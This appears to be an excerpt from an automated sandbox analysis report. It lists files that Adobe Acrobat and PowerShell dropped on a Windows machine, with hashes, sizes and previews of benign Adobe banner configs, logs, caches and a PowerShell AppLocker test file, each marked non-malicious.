Entropy (8bit):	5.301415617078755
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHIlyMnWsGiIPEeOF0YboAvJfQ1rPeUkwRe9:YvXKXwssdTeOkGY16Ukee9
MD5:	570C79BB2E05EDA29DA84D2F61B7E77D
SHA1:	33F2B3BE30397799A2C384C58B26A05B64C7069E
SHA-256:	6C56E275C42EB66F397C25903F3D7D6FAF5E0D221C18120B0E40E0AB6ABB09CD
SHA-512:	172275F2869F6F47DCE17DBF3182427307AAE874AF6DE48CD28B0124AF2CB4F7C0C980B0F1C682B6B524E6BCA87E26319A0D378521A6FFE171B3734F92A0CA94
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"082133b4-a1ae-419c-b590-b277485baed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719038348,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.317161704354978
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHIlyMnWsGiIPEeOF0YboAvJfFldPeUkwRe9:YvXKXwssdTeOkGz8Ukee9
MD5:	7A204DA998D086BA6047461FDB6FC1C8
SHA1:	ABA4FF774BBF3438A8D93DBA7FB3EAE712E845D3
SHA-256:	C58C2A2E479E62F98590C42AE39A015F4BDC1E47A70AABF86A60D356459AFE66
SHA-512:	2F3654BF1BF6A2C34AEF8CE1C8FE388BAC8039D992C80C64F79319BACDA0DA46BD760F3B75A83B18E444EFE7F23D052D3CE7979D5FC8C2B1DD7B4E43E0C75A5F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"082133b4-a1ae-419c-b590-b277485baed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719038348,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.322622764542658
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHIlyMnWsGiIPEeOF0YboAvJfzdPeUkwRe9:YvXKXwssdTeOkGb8Ukee9
MD5:	CD332045AFF2E1288E245ABC7CC73D80
SHA1:	A9DFA6FAEEBE98EB41662CAFC0AD87AA45476C02
SHA-256:	6618EAED1E4695D9E56D79AF516FAFEA6CAB99157542533DB2E01BECC1B9C9CF
SHA-512:	A83530BD44D342CF73D427FC28D1346A4A25BFE3587397DEC0F0CC3399CF212657466C6E9FC7E543B32B67F90329C2560FADABA862893BA8B777C0FAB79F5A5C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"082133b4-a1ae-419c-b590-b277485baed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719038348,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.303611648722936
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHIlyMnWsGiIPEeOF0YboAvJfYdPeUkwRe9:YvXKXwssdTeOkGg8Ukee9
MD5:	08773F180F32EBCAA741D2BC03C4E8BE
SHA1:	09845B974D3CC7AE7A9B7A1EC21DF54AF8A8F0CD
SHA-256:	D71403904A519D7FDFD71018C5A26E98189E7EC9BD0BA0D4D29780C1A42D5541
SHA-512:	30C39159E4BDC5EE7410C45DBCA0A98F704F220E7A776E918D2F090F322B48B7B969DD2D9CECAC13F2BB20EAE0453CFAD79C654BD288393E72396CD3E0EA8ED3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"082133b4-a1ae-419c-b590-b277485baed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719038348,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.290024597838292
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHIlyMnWsGiIPEeOF0YboAvJf+dPeUkwRe9:YvXKXwssdTeOkG28Ukee9
MD5:	4867A907D750724B4DA87CCB8D02F964
SHA1:	6CA30DB324B2E4E6CC95318B8C507D0684960F49
SHA-256:	70CCA3685B58DBB851E6DA8B9CE6F505CB5D5439EEC7E9C6FBC518F33AB88F2F
SHA-512:	FD419A59B32113533FC40EC16F7957E96446512250260605BA3940B517C2DE08809DA61F52439EDB5085999FEA30F967A1B21A4A7201E92D1AA89ABEB6FBBC16
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"082133b4-a1ae-419c-b590-b277485baed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719038348,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.287133924068807
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHIlyMnWsGiIPEeOF0YboAvJfbPtdPeUkwRe9:YvXKXwssdTeOkGDV8Ukee9
MD5:	DDEDECDEA12853CCFAE65234C8A0857B
SHA1:	C91A1C7146363F022A653D09A35DE1EE237B1053
SHA-256:	69B04E114538DE013E6D971C723D8469885DBEB65498D0E0E1EB7E61F5CDE19F
SHA-512:	096A527804A4DC4F811BA682EF3EF7A3D1B046791A0CCAEBC5167C9305E58FB3DA3696A66B8442DC4B321A87F5DA791D77EF72E66CE1DF3447710DEF06948B90
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"082133b4-a1ae-419c-b590-b277485baed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719038348,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.292131232903743
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHIlyMnWsGiIPEeOF0YboAvJf21rPeUkwRe9:YvXKXwssdTeOkG+16Ukee9
MD5:	17181E3EC84C7C0F81047EB364198AD9
SHA1:	322B96B362721EA9C32BA0D9421DC9687E15CC5D
SHA-256:	C2785ABEE8D5AE43E894B8D3B6E805880748C138F85ABA113DE6DDE5751CB750
SHA-512:	24ED7CCE63C2B84EF21E7723B433ADC07B3BCF2AEA3269704F4F146FAE3FEA5848FF9D964F22ECD9F8F6AD2F59014D11AF86BA102529FBBBD49A171CBD18D2F2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"082133b4-a1ae-419c-b590-b277485baed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719038348,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.665242703058547
Encrypted:	false
SSDEEP:	24:Yv6XlmeOhamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSzC:YvhegBgkDMUJUAh8cvMzC
MD5:	B272D069E971429EF473826BB4FDEA50
SHA1:	FA477B599DD927E98D0828924A05F0586C648F0C
SHA-256:	39013072B94046F5C9D81EFD777283A8F51F919B9A08DAE5CA368166A8A4851D
SHA-512:	3A1719178BFE78319A0FD1146BEBA3587F4AC05A73894E642691707472CCB133E57B2EF2BD9917EFA39DC541D4F0C0D0F1FE22C330C6D338B2DC65DED89AC660
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"082133b4-a1ae-419c-b590-b277485baed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719038348,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.268505142921321
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHIlyMnWsGiIPEeOF0YboAvJfshHHrPeUkwRe9:YvXKXwssdTeOkGUUUkee9
MD5:	D9BED48D70AC803605C013DAA86659DE
SHA1:	0B378A32D165C9DD44DE469A57EA2F78CC406999
SHA-256:	D792BBEF9BC8141F9CD5121E78DE5B374B916D8D9A8219F45849EC070E8ED3D4
SHA-512:	BC80819373C0F08187559E149FDD7BB9E5CE7C7D11DEBDF0D07E4C5A863D34948C6F22B4399F1F189CA2639590D126958C4A9C84A4C05E3528B0F77589581C5D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"082133b4-a1ae-419c-b590-b277485baed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719038348,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.286647026954713
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHIlyMnWsGiIPEeOF0YboAvJTqgFCrPeUkwRe9:YvXKXwssdTeOkGTq16Ukee9
MD5:	EDBB77B87FE8C47BB0D0EB983D11FE79
SHA1:	8A9B2035733AF273E2FED678F14838CBD981E46A
SHA-256:	67569A30EA3624915D618EFA5DEA547DE12F4C64DCEC983F051FA0F9174D6566
SHA-512:	79576F89B26F68270181AE068121D24C496631F4212B2D239FED3F4C7D1F3363D966AE1A15C975B8BA766274F166FE927BC9619AB755A01C5439226A1FA2C768
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"082133b4-a1ae-419c-b590-b277485baed5","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736719038348,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.141534107585826
Encrypted:	false
SSDEEP:	24:Yy7X9alYB3ayoPLD2wA2OJkseg5BXDbXlQbyj6j0SGNOm2pAP2LS4CNRzxbdaFP0:Yy7xmP/1A21sztDbjcStPOgRzxbwPo9N
MD5:	336396BB03C0CD76E04606C28B979111
SHA1:	A87F6D1153883A89F7B01478D533D4B513A75299
SHA-256:	2E8E5D6F5C92DA3A67FEA1C111A83EE419B211CA3EB2D8AC5702ACEEC2811C44
SHA-512:	B9F8DBA09FDB6CD7F8B93E83446AA570369C4477390F62FB41530D3FE3033FB10E6AB333387E155FB1752C32B8A406D06D5EFBB75A876AE8F39DCA3688BCBCC6
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"19cc99abfbb77e64ff80e85b8a22b71a","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736544228000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"b8813a059d410ef735d6c8cc1a4b1eae","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736544228000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"4f4fa7d0e9dd0933f2b2ce66a3cd3ce8","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736544228000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"2910ac39d5af499f948c51e74934271b","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736544228000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"b32fb4dfde75779db0b480dd4cb89e8d","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736544228000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"b5f0dfd0fc49dedbd759a944dc56fe05","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4543768919961007
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsiFlcZ:lNVmsw3SHtbDbPe0K3+fDZdHcZ
MD5:	B7C0BFD54849AE2BD94843A8393DB9A5
SHA1:	6FFDE956976BE87060AE773E0D90FD7DD83FA608
SHA-256:	36C6CAA241C4857E6E697D8FB992E086C06BBE4E44BCF591E6A8D1E2531D31A8
SHA-512:	4EFEABA1EDB6EB03BE793A6AE42860A1FD9A78EDBA40E805865D79D8F7510D777139A03C5FBED0158FAFBEB9387144B5A0A4A9D95181CA94D8942C64CD1B096B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9596128835238118
Encrypted:	false
SSDEEP:	48:7MmqrvrBd6dHtbGIbPe0K3+fDy2dsiQQqFl2GL7msv:7FS3SHtbDbPe0K3+fDZdHTKVmsv
MD5:	AF8FBE510522F5898A988ED8E8D26949
SHA1:	479E77B0F4B2D7D49C59636E2F21334692B23B9A
SHA-256:	45A469931C063D390322CA3F27AB4C5C9F3EF364B4DFBA5ABFAC6A2518EC56AC
SHA-512:	DB53F910F15326454749419417B2EA3DCC574BC17F1E5D7D2BAA9D43B230F5F8E36D10F27017ACD61F84EEDC4160191E092899764ECA544C18153D410396DA0A
Malicious:	false
Preview:	.... .c.......H......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg9eKoo113OlfW4ha+MBZwAdgFAYyu:6a6TZ44ADEEKoo1obha+ugCK
MD5:	0552D1ABD9BB690D7408F05CCF4A6BD9
SHA1:	82B2D1FE2AB5FCCD59E9E78A38FFDEB8E1D58ACE
SHA-256:	CB0022389EA5140BDE89143C5177A474DB74344FFEC26F6616B85FB6B6D6FF83
SHA-512:	78C2BAF123F0F3F66965EC9AF72AC72049818A610F1203FEFE6C7020A167E1743B221357F622822709D97C8A079DE7B85D4D9E68404926A52A6ED721249FADB6
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSIf513a.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5325285763919316
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClErNXw:Qw946cPbiOxDlbYnuRK+bDrNA
MD5:	8C1DC27CD91B43EB7E8DA60DC8809B9A
SHA1:	B4728CAF523E59AE1CE139371C835C4F3C16ED63
SHA-256:	68B4A4FCB79AA82EEA0564507695DB5596DF0E5F66E858EB1E2460D39DFBBC82
SHA-512:	C63628D3F04DDDCBAE9C5251DDE345F48C7C2745CFC7E89C13D3147863D230928C8A18B7F2704D4612226ACC51E3BE886533DEFECD10E8B0E0AA1E0217B772F3
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.6.:.2.3.:.4.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p4cvai30.fb4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vhjgmmfq.vrw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9bz1jtd_u1n35d_5o4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 16-23-42-521.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.350188336192712
Encrypted:	false
SSDEEP:	384:7g0FcwZm9V2W/9Bq2rBSoi6DTI/+5uW8ButpPn3rLvw1wofXjC1CzqpTcPiCaQ32:Izl
MD5:	E41D75386794BE3E9EAD6F455442DD6F
SHA1:	582AA8696D5F732ABFF3AB8FDC853772D3DB8CA3
SHA-256:	C29A81FCE36BEB677E6E949029896F15BFF0095D728FB7F3619096E69C40A274
SHA-512:	A27EE15AF10B39A30AE33A40E8FE228557E98F010581B548B3B02D4EB5AB2A98A834BD1C8DC30E50198C87CFF471800CA30AE25F03921DC512028652A3F1B542
Malicious:	false
